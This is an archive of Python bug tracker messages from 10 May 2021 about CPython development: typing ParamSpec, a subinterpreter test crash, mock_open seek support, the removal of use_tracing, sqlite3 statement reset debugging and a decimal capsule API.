<1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620638528.57.0.750535488176.issue44076@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- nosy: -erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:23:13 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 09:23:13 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620638593.38.0.669336155588.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: Today the nosy list is not working. When I don't even mean to add or remove someone, that person is automatically being added. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:23:48 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 09:23:48 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620638628.85.0.388744048664.issue44076@roundup.psfhosted.org> Shreyan Avigyan added the comment: Sorry, for the disturbance in the nosy list but it's glitching. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:24:38 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 09:24:38 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620638678.46.0.866877545486.issue40222@roundup.psfhosted.org> Mark Shannon added the comment: Thanks everyone for the triaging and fixing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:41:35 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 10 May 2021 09:41:35 +0000 Subject: [issue44098] Remove ParamSpec from __parameters__ of most typing generics Message-ID: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org> New submission from Ken Jin : ``typing.List`` includes ``ParamSpec`` in ``__parameters__`` but the builtin ``list`` doesn't. The behavior of the latter is correct, as PEP 612 states that: "As before, parameters_expressions by themselves are not acceptable in places where a type is expected". https://www.python.org/dev/peps/pep-0612/#valid-use-locations This patch just makes the typing version same as the builtin version by excluding ``ParamSpec`` from ``__parameters__`` (except for Concatenate, Callable, and Generic). ---------- assignee: kj components: Library (Lib) messages: 393373 nosy: gvanrossum, kj, levkivskyi priority: normal severity: normal status: open title: Remove ParamSpec from __parameters__ of most typing generics versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:50:00 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 10 May 2021 09:50:00 +0000 Subject: [issue44098] Remove ParamSpec from __parameters__ of most typing generics In-Reply-To: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org> Message-ID: <1620640200.69.0.832685338492.issue44098@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +24664 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26013 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 05:49:59 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 09:49:59 +0000 Subject: [issue44099] Introduce a new slot in PyModuleDef to hold the classes Message-ID: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> New submission from Shreyan Avigyan : It's tedious to add classes one by one using PyModule_AddObject in PyInit_module function. Wouldn't it be much easier if there's a slot that has an array of all the classes in their PyObject form and it'll automatically add those classes. Since this is a backwards compatibility change it'll be best if a macro (like PY_AUTO_OBJECT maybe?) is defined then it'll add those classes automatically. If the slot is NULL or 0 then don't add anything. But yeah they may add more classes if they want but it doesn't matter much. Thanking you, With Regards, Shreyan Avigyan ---------- components: C API, Extension Modules messages: 393374 nosy: shreyanavigyan priority: normal severity: normal status: open title: Introduce a new slot in PyModuleDef to hold the classes type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:01:28 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 10 May 2021 11:01:28 +0000 Subject: [issue26110] Speedup method calls 1.2x In-Reply-To: <1452791347.05.0.923215900831.issue26110@psf.upfronthosting.co.za> Message-ID: <1620644488.45.0.692670269813.issue26110@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 21.0 -> 22.0 pull_requests: +24665 pull_request: https://github.com/python/cpython/pull/26014 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:05:25 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 May 2021 11:05:25 +0000 Subject: [issue44100] test_subinterpreters fails in AMD64 Fedora Stable 3.x Message-ID: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : Example failure: https://buildbot.python.org/all/#/builders/543/builds/133 test_already_destroyed (test.test__xxsubinterpreters.DestroyTests) ... ok test_bad_id (test.test__xxsubinterpreters.DestroyTests) ... ok test_does_not_exist (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_current (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_other_thread (test.test__xxsubinterpreters.DestroyTests) ... ok test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ... ok test_main (test.test__xxsubinterpreters.DestroyTests) ... ok test_one (test.test__xxsubinterpreters.DestroyTests) ... ok Fatal Python error: Py_EndInterpreter: thread still has a frame Python runtime state: initialized Thread 0x00007f0b28968740 (most recent call first): File "", line 4 in make: *** [Makefile:1249: buildbottest] Aborted (core dumped) program finished with exit code 2 elapsedTime=385.730409 test_still_running (test.test__xxsubinterpreters.DestroyTests) ... ---------- messages: 393375 nosy: eric.snow, pablogsal, vstinner priority: normal severity: normal status: open title: test_subinterpreters fails in AMD64 Fedora Stable 3.x versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:07:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 11:07:31 +0000 Subject: [issue44100] test_subinterpreters fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" In-Reply-To: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> Message-ID: <1620644851.22.0.813921906378.issue44100@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +nanjekyejoannah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:07:25 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 11:07:25 +0000 Subject: [issue44100] test_subinterpreters fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" In-Reply-To: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> Message-ID: <1620644845.66.0.944415000592.issue44100@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: test_subinterpreters fails in AMD64 Fedora Stable 3.x -> test_subinterpreters fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:07:47 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 11:07:47 +0000 Subject: [issue44100] test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" In-Reply-To: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> Message-ID: <1620644867.87.0.965651703582.issue44100@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: test_subinterpreters fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" -> test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:12:20 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 11:12:20 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620645140.46.0.253330610184.issue43933@roundup.psfhosted.org> Mark Shannon added the comment: Ned, no line numbers should never be None. (Except under very unusual circumstances, like the trace function raising an error) Taking a look at the disassembly of execsitecustomize, there is a return with no line number, which shouldn't happen. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:27:59 2021 From: report at bugs.python.org (Christian Rendina) Date: Mon, 10 May 2021 11:27:59 +0000 Subject: [issue44101] Generation of an executable's library file when python is built is static Message-ID: <1620646078.98.0.57549919171.issue44101@roundup.psfhosted.org> New submission from Christian Rendina : When linking any windows application with pythoncore built as a static library, such executable will automatically export all python c api functions and generate a static library. Exporting functions from a static library is a strange behavour, as I am not aware of any reason why dllimport/export should be used when building a static library. This behavour oncurrs because python's export.h doesn't know when the library is linked as shared or static. I have attached a patch that should fix this issue. Tested under Windows 10 + VS2019, a static linkage of Python3 does not produce any library file anymore, and such exports are no longer visible with Dependencies. I would like to apology if I got any tag wrong, as it's my first issue here. ---------- components: Windows files: prop.patch keywords: patch messages: 393377 nosy: lakor64, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Generation of an executable's library file when python is built is static type: behavior versions: Python 3.11 Added file: https://bugs.python.org/file50031/prop.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:32:27 2021 From: report at bugs.python.org (Niko) Date: Mon, 10 May 2021 11:32:27 +0000 Subject: [issue44102] mock_open does not support the use of 'seek()' Message-ID: <1620646347.61.0.780960917304.issue44102@roundup.psfhosted.org> New submission from Niko : Using 'mock_open' to unit test a code that uses the 'seek()' function for the file object does not work. This would be a great addition for mock_open functionality as this use case happens occasionally. Test file contains: def test_one(self): with patch("builtins.open", mock_open(read_data="#123")): script.main() Example script: def main(): with open('some/file', 'r') as f: print(f.read(1)) f.seek(0) print(f.read(1)) if __name__ == "__main__": main() Output will be: # 1 While the expected output is: # # ---------- messages: 393378 nosy: nikle priority: normal severity: normal status: open title: mock_open does not support the use of 'seek()' type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 07:48:57 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 10 May 2021 11:48:57 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620647337.25.0.194211722026.issue43760@roundup.psfhosted.org> Miro Hron?ok added the comment: I am afraid the "Speed up check for tracing in interpreter dispatch" brought some backwards incompatible changes: yappi/_yappi.c:1261:9: error: ?PyThreadState? {aka ?struct _ts?} has no member named ?use_tracing?; did you mean ?tracing?? 1261 | ts->use_tracing = 1; | ^~~~~~~~~~~ | tracing This is not mentioned in https://docs.python.org/3.10/whatsnew/3.10.html and I haven't noticed the use_tracing member being deprecated. I am confused. Should this happened? ---------- nosy: +hroncok, petr.viktorin, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:06:19 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 10 May 2021 12:06:19 +0000 Subject: [issue43804] "Building C and C++ Extensions on Windows" docs are very out-of-date In-Reply-To: <1618138301.06.0.442096626289.issue43804@roundup.psfhosted.org> Message-ID: <1620648379.16.0.484808514115.issue43804@roundup.psfhosted.org> Shreyan Avigyan added the comment: Ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:32:34 2021 From: report at bugs.python.org (So Ukiyama) Date: Mon, 10 May 2021 12:32:34 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620649954.94.0.121358195703.issue23750@roundup.psfhosted.org> Change by So Ukiyama : ---------- nosy: +uniocto nosy_count: 4.0 -> 5.0 pull_requests: +24666 pull_request: https://github.com/python/cpython/pull/26016 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:36:04 2021 From: report at bugs.python.org (So Ukiyama) Date: Mon, 10 May 2021 12:36:04 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620650164.49.0.300269581181.issue23750@roundup.psfhosted.org> So Ukiyama added the comment: I created a PR which apply Martin Panter's patch. So If I have offended you with my rudeness, I hope you will forgive me for taking this down. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:39:45 2021 From: report at bugs.python.org (Berker Peksag) Date: Mon, 10 May 2021 12:39:45 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620650385.7.0.667795944614.issue43350@roundup.psfhosted.org> Berker Peksag added the comment: Serhiy is right. Without a proper research on why it was added in the first place, simply removing the second call won't make code any better and it may introduce regressions (we've already introduced two in 3.10) Maybe doing some digging in pysqlite commits or reaching out to the original author may help. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:47:20 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 10 May 2021 12:47:20 +0000 Subject: [issue44102] mock_open does not support the use of 'seek()' In-Reply-To: <1620646347.61.0.780960917304.issue44102@roundup.psfhosted.org> Message-ID: <1620650840.28.0.768439880055.issue44102@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: See also https://bugs.python.org/issue25690 . https://github.com/nivbend/mock-open has support for seek. As stated in the other issue supporting all operations of a filesystem might add more complexity. ---------- components: +Library (Lib) nosy: +cjw296, lisroach, mariocj89, michael.foord, rbcollins, xtreak type: behavior -> enhancement versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 08:54:57 2021 From: report at bugs.python.org (Greg Stein) Date: Mon, 10 May 2021 12:54:57 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620651297.42.0.365050578276.issue43350@roundup.psfhosted.org> Change by Greg Stein : ---------- nosy: +gstein nosy_count: 3.0 -> 4.0 pull_requests: +24667 pull_request: https://github.com/python/cpython/pull/26015 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:03:30 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 10 May 2021 13:03:30 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620651810.81.0.350231729471.issue43760@roundup.psfhosted.org> Miro Hron?ok added the comment: Fedora packages affected (that we know of now): greenlet: https://bugzilla.redhat.com/show_bug.cgi?id=1957784 dipy: https://bugzilla.redhat.com/show_bug.cgi?id=1958203 yappi: https://bugzilla.redhat.com/show_bug.cgi?id=1958896 smartcols: https://bugzilla.redhat.com/show_bug.cgi?id=1958938 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:06:45 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 13:06:45 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620652005.36.0.251366669641.issue43760@roundup.psfhosted.org> Mark Shannon added the comment: At yappi/_yappi.c:1261 sets an undocumented field on a CPython internal data structure. What did you believe that was supposed to do? use_tracing is not documented anywhere. We could add the field back and ignore it, but I doubt that would help you much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:17:33 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 13:17:33 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620652653.84.0.569426905756.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Relevant historical commits: - https://github.com/ghaering/pysqlite/commit/a471f0495956c3b8e3f45895b172e522a9ecd683 - https://github.com/ghaering/pysqlite/commit/5a009ed6fb2e90b952438f5786f93cd1e8ac8722 - 191321d11bc7e064e1a07830a43fa600de310e1bj (in cpython repo) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:18:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 13:18:44 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620652724.2.0.0672786141653.issue43350@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg393386 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:19:01 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 13:19:01 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620652741.71.0.193173672619.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Relevant historical commits: - https://github.com/ghaering/pysqlite/commit/a471f0495956c3b8e3f45895b172e522a9ecd683 - https://github.com/ghaering/pysqlite/commit/5a009ed6fb2e90b952438f5786f93cd1e8ac8722 - 191321d11bc7e064e1a07830a43fa600de310e1b (in cpython repo) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:26:32 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 13:26:32 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620653192.4.0.427429016314.issue43933@roundup.psfhosted.org> Mark Shannon added the comment: If there is no C-API function that supports your needs, feel free to suggest one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:26:54 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 13:26:54 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620653214.34.0.51191086516.issue43933@roundup.psfhosted.org> Change by Mark Shannon : ---------- Removed message: https://bugs.python.org/msg393388 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:28:14 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 May 2021 13:28:14 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620653294.58.0.719608011889.issue43760@roundup.psfhosted.org> Mark Shannon added the comment: If there is no C-API function that supports your needs, feel free to suggest one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:30:41 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 13:30:41 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620653441.22.0.212201395214.issue43558@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24668 pull_request: https://github.com/python/cpython/pull/26018 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:30:45 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 13:30:45 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620653445.54.0.0119267195715.issue43558@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24669 pull_request: https://github.com/python/cpython/pull/26019 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:33:12 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 10 May 2021 13:33:12 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be. In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620653592.14.0.857509368269.issue43760@roundup.psfhosted.org> Miro Hron?ok added the comment: Disclaimer: I have not written the code nor do I understand what is trying to achieve. I merely collect the data and report the problems to the package maintainers. It just seems to me that a non-underscored (and hence public) member variable on a non-underscored (and hence public) structure should not suddenly go missing. Although, I am not familiar with the rules that define what part of the API falls under https://www.python.org/dev/peps/pep-0497/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:38:14 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 10 May 2021 13:38:14 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620653894.74.0.353711069226.issue43558@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 4d532d3f8f7970493442d7c217220f60312f92e1 by Miss Islington (bot) in branch '3.9': bpo-43558: Add note about base class initialization to dataclasses doc (GH-25967) (GH-26019) https://github.com/python/cpython/commit/4d532d3f8f7970493442d7c217220f60312f92e1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:38:51 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 10 May 2021 13:38:51 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620653931.53.0.312931196144.issue43558@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset f47305aa1fa41c38f744e9a16ae33b74c6fd45e7 by Miss Islington (bot) in branch '3.10': bpo-43558: Add note about base class initialization to dataclasses doc (GH-25967) (GH-26018) https://github.com/python/cpython/commit/f47305aa1fa41c38f744e9a16ae33b74c6fd45e7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:39:25 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 10 May 2021 13:39:25 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620653965.13.0.565356067124.issue43558@roundup.psfhosted.org> Eric V. Smith added the comment: Thanks, @dhoekstra! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:46:29 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 13:46:29 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620654389.03.0.64791028342.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Tests that exercise this branch: Lib/sqlite3/test/dbapi.py: test_in_transaction Lib/sqlite3/test/dbapi.py: test_last_row_id_insert_o_r Lib/sqlite3/test/dbapi.py: test_on_conflict_abort_raises_with_explicit_transactions Lib/sqlite3/test/dbapi.py: test_on_conflict_abort_raises_without_transactions Lib/sqlite3/test/dbapi.py: test_on_conflict_rollback_with_explicit_transaction Lib/sqlite3/test/dbapi.py: test_on_conflict_rollback_without_transaction Lib/sqlite3/test/types.py: test_cursor_description_cte Lib/sqlite3/test/types.py: test_bool Lib/sqlite3/test/types.py: test_error_in_conform Lib/sqlite3/test/userfunctions.py: test_aggr_check_aggr_sum Lib/sqlite3/test/regression.py: test_column_name_with_spaces Lib/sqlite3/test/regression.py: test_statement_reset ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:46:54 2021 From: report at bugs.python.org (Daniele Varrazzo) Date: Mon, 10 May 2021 13:46:54 +0000 Subject: [issue41324] Add a minimal decimal capsule API In-Reply-To: <1594984713.74.0.721782226907.issue41324@roundup.psfhosted.org> Message-ID: <1620654414.09.0.282161896289.issue41324@roundup.psfhosted.org> Daniele Varrazzo added the comment: FYI, will try to use this API in psycopg3, which supports the PostgreSQL decimal binary format. Thank you very much: it seems exactly what needed. Binary conversion with Python Decimal currently has disappointing performances and is slower than the text format conversion. This is likely caused by the use of Decimal.as_tuple(), which creates tuples for the return value and the digits and requires Python calls to access their values. I have considered using libmpdec directly: personally I wouldn't be opposed to that, but the additional dependency on libmpdec-dev would earn the project no new fan :\ Ref. https://github.com/psycopg/psycopg3/issues/54 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:51:05 2021 From: report at bugs.python.org (Daniele Varrazzo) Date: Mon, 10 May 2021 13:51:05 +0000 Subject: [issue41324] Add a minimal decimal capsule API In-Reply-To: <1594984713.74.0.721782226907.issue41324@roundup.psfhosted.org> Message-ID: <1620654665.73.0.43534252101.issue41324@roundup.psfhosted.org> Daniele Varrazzo added the comment: Ah, just noticed that this has been now reverted. Oh well, I'll see what to do then :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 09:59:15 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 13:59:15 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620655155.04.0.0577921074079.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: Adding fprintf's in pysqlite_statement_reset: diff --git a/Modules/_sqlite/statement.c b/Modules/_sqlite/statement.c --- a/Modules/_sqlite/statement.c +++ b/Modules/_sqlite/statement.c @@ -347,19 +363,23 @@ int pysqlite_statement_reset(pysqlite_Statement* self) { int rc; rc = SQLITE_OK; if (self->in_use && self->st) { Py_BEGIN_ALLOW_THREADS rc = sqlite3_reset(self->st); + fprintf(stderr, "sqlite3_reset(stmt=%p) => %d: %s\n", + self->st, rc, sqlite3_errstr(rc)); Py_END_ALLOW_THREADS if (rc == SQLITE_OK) { self->in_use = 0; } + } else { + fprintf(stderr, "sqlite3_reset => noop\n"); } return rc; } In Modules/_sqlite/cursor.c, I've also added a fprintf(stderr, "SECONDRESET: "); before the code in question. $ ./python.exe -m test test_sqlite 2> log.txt $ cat log.txt | grep -A1 -B1 SECONDRESET sqlite3_reset(stmt=0x7fc360177e98) => 0: not an error SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005f9e8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005ebd8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005f538) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005f9e8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005f538) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3a005f9e8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc35000fe98) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3500107f8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc350010348) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3500107f8) => 0: not an error SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc350010348) => 0: not an error SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset(stmt=0x7fc3700287f8) => 0: not an error SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop sqlite3_reset => noop -- -- sqlite3_reset => noop SECONDRESET: sqlite3_reset => noop ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 10:00:10 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 14:00:10 +0000 Subject: [issue43350] [sqlite3] Active statements are reset twice in _pysqlite_query_execute() In-Reply-To: <1614592369.49.0.483199992415.issue43350@roundup.psfhosted.org> Message-ID: <1620655210.26.0.383443156701.issue43350@roundup.psfhosted.org> Erlend E. Aasland added the comment: fprintf debugging patch added, for reference ---------- Added file: 